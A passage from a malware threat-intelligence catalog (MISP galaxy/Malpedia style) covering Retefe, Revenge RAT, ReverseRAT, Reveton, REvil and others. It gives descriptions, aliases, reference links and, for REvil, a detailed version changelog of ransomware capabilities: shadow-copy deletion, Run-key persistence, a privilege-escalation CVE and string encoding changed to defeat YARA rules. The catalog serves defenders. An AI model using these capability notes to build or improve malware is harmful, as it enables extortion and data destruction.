Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to

effectively MITM TLS traffic.

The tag is: *misp-galaxy:malpedia="Retefe (Windows)"*

Retefe (Windows) is also known as:

- Tsukuba
- Werdlod

Table 4955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe
https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe
https://github.com/Tomasuh/retefe-unpacker
https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/
https://www.govcert.admin.ch/blog/35/reversing-retefe
https://github.com/cocaman/retefe
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/

Retro

The tag is: *misp-galaxy:malpedia="Retro"*

Retro is also known as:

Table 4956. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retro
https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html
https://blog.360totalsecurity.com/en/analysis-cve-2018-8174-vbscript-0day-apt-actor-related-office-targeted-attack/
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf

RevC2

The tag is: *misp-galaxy:malpedia="RevC2"*

RevC2 is also known as:

Table 4957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revc2
https://medium.com/walmartglobaltech/decoding-revc2-strings-b3c72af07a55
https://www.zscaler.com/blogs/security-research/unveiling-revc2-and-venom-loader

Revenant

According to its author, Revenant is a 3rd party agent for Havoc written in C, and based on Talon. This implant is meant to expand on the Talon implant by implementing covert methods of execution, robust capabilities, and more customization.

The tag is: *misp-galaxy:malpedia="Revenant"*

Revenant is also known as:

Table 4958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant
https://github.com/0xTriboulet/Revenant

Revenge RAT

According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.

The tag is: *misp-galaxy:malpedia="Revenge RAT"*

Revenge RAT is also known as:

- Revetrat

Table 4959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat
https://securelist.com/cyber-anarchy-squad-attacks-with-uncommon-trojans/114990/
https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns
https://blog.reversinglabs.com/blog/dotnet-loaders
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader

https://blog.reversinglabs.com/blog/rats-in-the-library
https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/
https://isc.sans.edu/diary/rss/22590
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md
https://securelist.com/revengehotels/95229/
https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://embee-research.ghost.io/introduction-to-dotnet-configuration-extraction-revengerat/
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html
https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html
https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/
https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://blogs.360.cn/post/APT-C-44.html

ReverseRAT

The tag is: *misp-galaxy:malpedia="ReverseRAT"*

ReverseRAT is also known as:

Table 4960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reverse_rat
https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf
https://threatmon.io/apt-sidecopy-targeting-indian-government-entities/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/
https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/

https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388

Reveton

Ransomware.

The tag is: *misp-galaxy:malpedia="Reveton"*

Reveton is also known as:

Table 4961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reveton
https://krebsonsecurity.com/2012/08/inside-a-reveton-ransomware-operation/
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html

REvil (Windows)

REvil Beta MD5: bed6fc04aeb785815744706239a1f243 SHA1: 3d0649b5f76dbbff9f86b926afbd18ae028946bf SHA256: 3641b09bf6eae22579d4fd5aae420476a134f5948966944189a70afd8032cb45 * Privilege escalation via CVE-2018-8453 (64-bit only) * Rerun with RunAs to elevate privileges * Implements a requirement that if "exp" is set, privilege escalation must be successful for full execution to occur * Implements target whitelisting using GetKetboardLayoutList * Contains debug console logging functionality * Defines the REvil registry root key as SOFTWARE\!test * Includes two variable placeholders in the ransom note: UID & KEY * Terminates processes specified in the "prc" configuration key prior to encryption * Deletes shadow copies and disables recovery * Wipes contents of folders specified in the "wfld" configuration key prior to encryption * Encrypts all non-whitelisted files on fixed drives * Encrypts all non-whitelisted files on network mapped drives if it is running with System-level privileges or can impersonate the security context of explorer.exe * Partially implements a background image setting to display a basic "Image text" message * Sends encrypted system data to a C2 domain via an HTTPS POST request (URI path building is not implemented.)

```
REvil 1.00
MD5: 65aa793c000762174b2f86077bdafaea
SHA1: 95a21e764ad0c98ea3d034d293aee5511e7c8457
SHA256: f0c60f62ef9ffc044d0b4aeb8cc26b971236f24a2611cb1be09ff4845c3841bc
* Adds 32-bit implementation of CVE-2018-8453 exploit
* Removes console debug logging
* Changes the REvil registry root key to SOFTWARE\recfg
* Removes the System/Impersonation success requirement for encrypting network mapped
```

```
drives
* Adds a "wipe" key to the configuration for optional folder wiping
* Fully implements the background image setting and leverages values defined in the
"img" configuration key
* Adds an EXT variable placeholder to the ransom note to support UID, KEY, and EXT
* Implements URI path building so encrypted system data is sent to a C2 pseudo-random
URL
* Fixes the function that returns the victim's username so the correct value is placed
in the stats JSON data
```

REvil 1.01 MD5: 2abff29b4d87f30f011874b6e98959e9 SHA1: 9d1b61b1cba411ee6d4664ba2561fa59cdb0732c SHA256: a88e2857a2f3922b44247316642f08ba8665185297e3cd958bbd22a83f380feb * Removes the exp/privilege escalation requirement for full execution and encrypts data regardless of privilege level * Makes encryption of network mapped drives optional by adding the "-nolan" argument

```
REvil 1.02
MD5: 4af953b20f3a1f165e7cf31d6156c035
SHA1: b859de5ffcb90e4ca8e304d81a4f81e8785bb299
SHA256: 89d80016ff4c6600e8dd8cfad1fa6912af4d21c5457b4e9866d1796939b48dc4
* Enhances whitelisting validation by adding inspection of GetUserDefaultUILanguage
and GetSystemDefaultUILanguage
* Partially implements "lock file" logic by generating a lock filename based on the
first four bytes of the Base64-decoded pk key, appending a .lock file extension, and
adding the filename to the list of whitelisted files in the REvil configuration (It
does not appear that this value is referenced after it is created and stored in
memory. There is no evidence that a lock file is dropped to disk.)
* Enhances folder whitelisting logic that take special considerations if the folder is
associated with "program files" directories
* Hard-codes whitelisting of all direct content within the Program Files or Program
Files x86 directories
* Hard-codes whitelisting of "sql" subfolders within program files
* Encrypts program files sub-folders that does not contain "sql" in the path
* Compares other folders to the list of whitelisted folders specified in the REvil
configuration to determine if they are whitelisted
* Encodes stored strings used for URI building within the binary and decodes them in
memory right before use
* Introduces a REvil registry root key "sub_key" registry value containing the
attacker's public key
```

REvil 1.03 MD5: 3cae02306a95564b1fff4ea45a7dfc00 SHA1: 0ce2cae5287a64138d273007b34933362901783d SHA256: 78fa32f179224c46ae81252c841e75ee4e80b57e6b026d0a05bb07d34ec37bbf * Removes lock file logic that was partially implemented in 1.02 * Leverages WMI to continuously monitor for and kill newly launched processes whose names are listed in the prc configuration key (Previous versions performed this action once.) * Encodes stored shellcode * Adds the -path argument: * Does not wipe folders (even if wipe == true) * Does not set desktop background * Does not contact the C2 server (even if net == true) * Encrypts files in the specified folder and drops the ransom note * Changes the

REvil registry root key to SOFTWARE\QtProject\OrganizationDefaults * Changes registry key values from -→ to: * sub_key -→ pvg * pk_key -→ sxsP * sk_key -→ BDDC8 * 0_key -→ f7gVD7 * rnd_ext -→ Xu7Nnkd * stat -→ sMMnxpgk

```
REvil 1.04
MD5: 6e3efb83299d800edf1624ecbc0665e7
SHA1: 0bd22f204c5373f1a22d9a02c59f69f354a2cc0d
SHA256: 2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
* Leverages PowerShell and WMI to delete shadow copies if the victim's operating
system is newer than Windows XP (For Windows XP or older, it uses the original command
that was executed in all previous REvil versions.)
* Removes the folder wipe capability
* Changes the REvil registry root key to SOFTWARE\GitForWindows
* Changes registry key values from --> to:
  * pvg --> QPM
  * sxsP --> cMtS
  * BDDC8 --> WGg7j
  * f7gVD7 --> zbhs8h
  * Xu7Nnkd --> H85TP10
  * sMMnxpgk --> GCZg2PXD
```

REvil v1.05 MD5: cfefcc2edc5c54c74b76e7d1d29e69b2 SHA1: 7423c57db390def08154b77e2b5e043d92d320c7 SHA256: e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea * Add new 'arn' configuration key that contains a boolean true/false value that controls whether or not to implement persistence. * Implements persistence functionality via registry Run key. Data for value is set to the full path and filename of the currently running executable. The executable is never moved into any 'working directory' such as %AppData% or %TEMP% as part of the persistence setup. The Reg Value used is the hardcoded value of 'lNOWZyAWVv' : * SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lNOWZyAWVv * Before exiting, REvil sets up its malicious executable to be deleted upon reboot by issuing a call to MoveFileExW and setting the destination to NULL and the flags to 4 (MOVEFILE_DELAY_UNTIL_REBOOT). This breaks persistence however as the target executable specified in the Run key will no longer exist once this is done. * Changes registry key values from -→ to: * QPM -→ tgE * cMtS -→ 8K09 * WGg7j -→ xMtNc * zbhs8h -→ CTgE4a * H85TP10 -→ oE5bZg0 * GCZg2PXD -→ DC408Qp4

```
REvil v1.06
MD5: 65ff37973426c09b9ff95f354e62959e
SHA1: b53bc09cfbd292af7b3609734a99d101bd24d77e
SHA256: 0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e
* Updated string decoding function to break existing yara rules. Likely the result of
the blog posted by us.
* Modified handling of network file encryption. Now explicitly passes every possible
"Scope" constant to the WNetOpenEnum function when looking for files to encrypt. It
also changed the 'Resource Type" from RESOURCETYPE_DISK to RESOURCETYPE_ANY which will
now include things like mapped printers.
* Persistence registry value changed from 'lNOWZyAWVv' to 'sNpEShi30R'
* Changes registry key values from --> to:
```

```
  * tgE --> 73g
  * 8K09 --> vTGj
  * xMtNc --> Q7PZe
  * CTgE4a --> BuCrIp
  * oE5bZg0 --> lcZd7OY
  * DC408Qp4 --> sLF86MWC
```

REvil v1.07 MD5: ea4cae3d6d8150215a4d90593a4c30f2 SHA1: 8dcbcbefaedf5675b170af3fd44db93ad864894e SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3 TBD

The tag is: *misp-galaxy:malpedia="REvil (Windows)"*

REvil (Windows) is also known as:

- Sodin
- Sodinokibi

Table 4962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revil
https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://threatintel.blog/OPBlueRaven-Part1/
https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/
https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/
https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://sites.temple.edu/care/ci-rw-attacks/
https://twitter.com/SyscallE/status/1411074271875670022

https://www.kaseya.com/potential-attack-on-kaseya-vsa/

https://www.connectwise.com/resources/revil-profile

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/

https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil

https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/

https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom

https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://asec.ahnlab.com/ko/19860/

https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin

https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/

https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021

https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045

https://www.bbc.com/news/technology-59297187

https://www.secureworks.com/research/revil-sodinokibi-ransomware

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/

https://cocomelonc.github.io/malware/2023/02/02/malware-analysis-7.html

https://velzart.nl/blog/ransomeware/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/

https://www.youtube.com/watch?v=LUxOcpIRxmg

https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20

https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/

https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/

https://twitter.com/Jacob_Pimental/status/1391055792774729728

https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ

https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/

https://twitter.com/VK_Intel/status/1374571480370061312?s=20

https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/

https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/

https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf

https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/

https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego

https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope

https://vimeo.com/449849549

https://intel471.com/blog/changes-in-revil-ransomware-version-2-2

https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling

https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/

https://securelist.com/ransomware-world-in-2021/102169/

https://asec.ahnlab.com/ko/19640/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/

https://unit42.paloaltonetworks.com/revil-threat-actors/

https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent

https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html

https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/

https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf

https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/

https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://redcanary.com/blog/uncompromised-kaseya/

https://www.cyjax.com/2021/07/09/revilevolution/

https://www.youtube.com/watch?v=tZVFMVm5GAk

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/

https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya

https://www.kpn.com/security-blogs/Tracking-REvil.htm

https://ke-la.com/will-the-revils-story-finally-be-over/

https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html

https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/

https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil

https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain

https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html

https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/

https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/

https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/

https://twitter.com/fwosar/status/1420119812815138824

https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/

https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf

https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317

https://www.youtube.com/watch?v=P8o6GItci5w

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/

https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis

http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf

https://securelist.com/sodin-ransomware/91473/

https://twitter.com/resecurity_com/status/1412662343796813827

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload

https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/

https://www.certego.net/en/news/malware-tales-sodinokibi/

https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/

https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/

https://twitter.com/VK_Intel/status/1411066870350942213

https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/

https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/

https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf

https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/

https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/

https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html

https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf

https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/

https://www.netskope.com/blog/netskope-threat-coverage-revil

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://isc.sans.edu/diary/27012

https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom

https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released

https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf

http://www.secureworks.com/research/threat-profiles/gold-southfield

https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80

https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses

https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html

https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/

https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit

https://analyst1.com/file-assets/History-of-REvil.pdf

https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/

https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20

https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs

https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b

https://www.youtube.com/watch?v=l2P5CMH9TE0

https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/

https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware

https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/

https://www.secureworks.com/research/threat-profiles/gold-southfield

https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/

https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti

https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422

https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html

https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities

https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/

https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://twitter.com/SophosLabs/status/1413616952313004040?s=20

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/

https://www.flashpoint-intel.com/blog/revil-disappears-again/

https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident

https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/

https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801

https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html

https://twitter.com/R3MRUM/status/1412064882623713283

https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf

https://blog.amossys.fr/sodinokibi-malware-analysis.html

https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/

https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/

https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/

https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html

https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89

